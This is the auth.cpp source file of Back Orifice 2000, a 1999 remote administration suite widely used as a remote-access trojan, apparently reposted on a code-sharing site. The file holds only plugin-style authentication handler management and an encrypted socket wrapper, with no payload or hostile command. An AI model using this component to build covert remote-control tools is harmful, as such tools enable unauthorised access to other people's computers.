auth.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:7k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // Command Input/Output Interface
  16. #include<windows.h>
  17. #include<auth.h>
  18. #include<iohandler.h>
  19. #include<encryption.h>
  20. #include<commnet.h>
  21. #include<config.h>
  22. extern CIOHandler *g_pIOHandler;
  23. extern CEncryptionHandler *g_pEncryptionHandler;
  24. extern CAuthHandler *g_pAuthHandler;
  25. //                                               //
  26. //////////////// IO Handler Class /////////////////
  27. //                                              //
  28. CAuthHandler::CAuthHandler()
  29. {
  30. int i;
  31. for(i=0;i<MAX_AUTH_HANDLERS;i++)
  32. m_AuthHandler[i]=INVALID_AUTH_HANDLER;
  33. }
  34. CAuthHandler::~CAuthHandler()
  35. {
  36. int i;
  37. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  38. if(m_AuthHandler[i]!=INVALID_AUTH_HANDLER) {
  39. m_AuthHandler[i]->pRemove();
  40. m_AuthHandler[i]=INVALID_AUTH_HANDLER;
  41. }
  42. }
  43. }
  44. int CAuthHandler::Insert(AUTH_HANDLER *handler)
  45. {
  46. int i;
  47. if(handler->pInsert==NULL) return -1;
  48. if(handler->pInsert()==-1) return -1;
  49. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  50. if(m_AuthHandler[i]==INVALID_AUTH_HANDLER) break;
  51. }
  52. if(i==MAX_AUTH_HANDLERS) return -1;
  53. m_AuthHandler[i]=handler;
  54. return i;
  55. }
  56. int CAuthHandler::GetHandlerCount(void)
  57. {
  58. int count,i;
  59. count=0;
  60. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  61. if(m_AuthHandler[i]!=INVALID_AUTH_HANDLER) count++;
  62. }
  63. return count;
  64. }
  65. AUTH_HANDLER *CAuthHandler::GetHandler(int nHandler)
  66. {
  67. if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;
  68. return m_AuthHandler[nHandler];
  69. }
  70. AUTH_HANDLER *CAuthHandler::GetHandlerByID(char *svID)
  71. {
  72. int i;
  73. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  74. char *svQuery=Query(i);
  75. if(svQuery!=NULL) {
  76. if(strnicmp(svQuery,svID,min(lstrlen(svID),lstrlen(svQuery)))==0)
  77. return m_AuthHandler[i];
  78. }
  79. }
  80. return NULL;
  81. }
  82. char *CAuthHandler::Query(int nHandler)
  83. {
  84. if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;
  85. if(m_AuthHandler[nHandler]==INVALID_AUTH_HANDLER) return NULL;
  86. if(m_AuthHandler[nHandler]->pQuery==NULL) return NULL;
  87. return m_AuthHandler[nHandler]->pQuery();
  88. }
  89. int CAuthHandler::Remove(int nHandler)
  90. {
  91. int ret;
  92. if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;
  93. if(m_AuthHandler[nHandler]==INVALID_AUTH_HANDLER) return NULL;
  94. if(m_AuthHandler[nHandler]->pRemove==NULL) return NULL;
  95. ret=m_AuthHandler[nHandler]->pRemove();
  96. m_AuthHandler[nHandler]=INVALID_AUTH_HANDLER;
  97. return ret;
  98. }
  99. //                                               //
  100. ////////// Authenticated Socket Class /////////////
  101. //                                               //
  102. CAuthSocket::CAuthSocket(AUTH_HANDLER *pHandler, IO_HANDLER *pIOH, ENCRYPTION_ENGINE *pEE)
  103. {
  104. m_pHandler=pHandler;
  105. m_pIOH=pIOH;
  106. m_pEE=pEE;
  107. m_pEnc=NULL;
  108. m_pSock=NULL;
  109. m_pData=NULL;
  110. }
  111. CAuthSocket::~CAuthSocket()
  112. {
  113. if(m_pEnc!=NULL) delete m_pEnc;
  114. if(m_pSock!=NULL) delete m_pSock;
  115. }
  116. int CAuthSocket::Listen(char *svTarget, int nUserId)
  117. {
  118. m_pSock=new CIOSocket(m_pIOH);
  119. if(m_pSock!=NULL) {
  120. m_pEnc=new CEncryptionEngine(m_pEE);
  121. if(m_pEnc!=NULL) {
  122. if(m_pSock->Listen(svTarget)==0) {
  123. if(m_pEnc->Startup()==0) {
  124. if(m_pHandler->pOnListen==NULL) return 0;
  125. m_pData=m_pHandler->pOnListen(m_pSock, m_pEnc, nUserId);
  126. if(m_pData!=NULL) return 0;
  127. m_pEnc->Shutdown();
  128. }
  129. m_pSock->Close();
  130. }
  131. delete m_pEnc;
  132. m_pEnc=NULL;
  133. }
  134. delete m_pSock;
  135. m_pSock=NULL;
  136. }
  137. return -1;
  138. }
  139. int CAuthSocket::Connect(char *svTarget, int nUserId)
  140. {
  141. m_pSock=new CIOSocket(m_pIOH);
  142. if(m_pSock!=NULL) {
  143. m_pEnc=new CEncryptionEngine(m_pEE);
  144. if(m_pEnc!=NULL) {
  145. if(m_pSock->Connect(svTarget)==0) {
  146. if(m_pEnc->Startup()==0) {
  147. if(m_pHandler->pOnConnect==NULL) return 0;
  148. m_pData=m_pHandler->pOnConnect(m_pSock, m_pEnc, nUserId);
  149. if(m_pData!=NULL) return 0;
  150. m_pEnc->Shutdown();
  151. }
  152. m_pSock->Close();
  153. }
  154. delete m_pEnc;
  155. m_pEnc=NULL;
  156. }
  157. delete m_pSock;
  158. m_pSock=NULL;
  159. }
  160. return -1;
  161. }
  162. CAuthSocket *CAuthSocket::Accept(void)
  163. {
  164. CIOSocket *acc_ios=m_pSock->Accept();
  165. if(acc_ios!=NULL) {
  166. CAuthSocket *cas;
  167. cas=new CAuthSocket(m_pHandler, m_pIOH, m_pEE);
  168. if(cas!=NULL) {
  169. cas->m_pSock=acc_ios;
  170. cas->m_pEnc=new CEncryptionEngine(cas->m_pEE);
  171. if(cas->m_pEnc!=NULL) {
  172. if(cas->m_pEnc->Startup()==0) {
  173. if(m_pHandler->pOnAccept==NULL) return cas;
  174. cas->m_pData=m_pHandler->pOnAccept(m_pData,cas->m_pSock, cas->m_pEnc);
  175. if(cas->m_pData!=NULL) return cas;
  176. cas->m_pEnc->Shutdown();
  177. }
  178. delete cas->m_pEnc;
  179. cas->m_pEnc=NULL;
  180. }
  181. cas->m_pSock=NULL;
  182. delete cas;
  183. }
  184. acc_ios->Close();
  185. delete acc_ios;
  186. }
  187. return NULL;
  188. }
  189. int CAuthSocket::Close(void)
  190. {
  191. if(m_pSock->Close()==-1) return -1;
  192. delete m_pSock;
  193. m_pSock=NULL;
  194. if(m_pEnc->Shutdown()==-1) return -1;
  195. delete m_pEnc;
  196. m_pEnc=NULL;
  197. if(m_pHandler->pOnClose(m_pData)==-1) return -1;
  198. m_pHandler=NULL;
  199. m_pData=NULL;
  200. return 0;
  201. }
  202. int CAuthSocket::Recv(BYTE **pInData, int *pnInDataLen)
  203. {
  204. BYTE *pin;
  205. int inlen;
  206. int ret;
  207. ret=m_pSock->Recv(&pin,&inlen);
  208. if(ret==0) 
  209. return 0;
  210. if(ret<0) 
  211. return -1;
  212. if(m_pHandler->pOnRecv(m_pData,m_pEnc,pin,inlen,pInData,pnInDataLen)==-1) 
  213. ret=-1;
  214. m_pSock->Free(pin);
  215. return ret;
  216. }
  217. int CAuthSocket::Send(BYTE *pData, int nDataLen)
  218. {
  219. BYTE *pOutData;
  220. int  nOutDataLen,ret;
  221. if(m_pHandler->pOnSend(m_pData,m_pEnc,pData,nDataLen,&pOutData,&nOutDataLen)==-1)
  222. return -1;
  223. ret=m_pSock->Send(pOutData,nOutDataLen);
  224. m_pHandler->pFree(m_pData, pOutData);
  225. return ret;
  226. }
  227. void CAuthSocket::Free(BYTE *pBuffer)
  228. {
  229. m_pHandler->pFree(m_pData,pBuffer);
  230. }
  231. int CAuthSocket::GetUserID(void)
  232. {
  233. return m_pHandler->pGetUserID(m_pData);
  234. }
  235. AUTH_HANDLER *CAuthSocket::GetAuthHandler(void)
  236. {
  237. return m_pHandler;
  238. }
  239. int CAuthSocket::GetRemoteAddr(char *svAddr,int nMaxLen)
  240. {
  241. return m_pSock->GetRemoteAddr(svAddr,nMaxLen);
  242. }
  243. int CAuthSocket::GetConnectAddr(char *svAddr, int nMaxLen)
  244. {
  245. return m_pSock->GetConnectAddr(svAddr,nMaxLen);
  246. }